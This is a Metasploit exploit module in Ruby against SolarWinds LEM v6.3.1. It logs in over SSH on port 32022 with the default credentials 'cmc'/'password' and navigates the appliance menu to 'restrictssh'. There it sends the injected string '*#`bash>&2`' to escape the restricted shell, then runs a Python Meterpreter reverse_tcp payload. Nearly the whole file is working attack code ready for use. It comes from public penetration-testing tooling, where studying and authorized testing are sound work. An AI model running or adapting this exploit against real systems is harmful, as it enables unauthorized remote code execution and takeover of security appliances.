1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
'Description' => %q{
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
This module was tested against SolarWinds LEM v6.3.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
],
'References' =>
[
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(32022),
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def exploit
factory = ssh_socket_factory
opts = {
:auth_methods => ['keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
payload_executed = false
print_good("SSH connection is established.")
ssh.open_channel do |channel|
print_status("Requesting pty... We need it in order to interact with menuing system.")
channel.request_pty do |ch, success|
raise ::RuntimeError, "Could not request pty!" unless success
print_good("Pty successfully obtained.")
print_status("Requesting a shell.")
ch.send_channel_request("shell") do |ch, success|
raise ::RuntimeError, "Could not open shell!" unless success
print_good("Remote shell successfully obtained.")
end
end
channel.on_data do |ch, data|
if data.include? "cmc "
print_good("Step 1 is done. Managed to access terminal menu.")
channel.send_data("service\n")
end
if data.include? "service "
print_good("Step 2 is done. Managed to select 'service' sub menu.")
channel.send_data("restrictssh\n")
end
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
channel.send_data("*#`bash>&2`\n")
end
if data.include? "Are the hosts"
print_good("Step 4 is done. We are going to try escape from jail shell.")
channel.send_data("Y\n")
end
if data.include? "/usr/local/contego"
if payload_executed == false
print_good("Sweet..! Escaped from jail.")
print_status("Delivering payload...")
channel.send_data("python -c \"#{payload.encoded}\"\n")
payload_executed = true
end
end
end
end
ssh.loop unless session_created?
end
end
end
|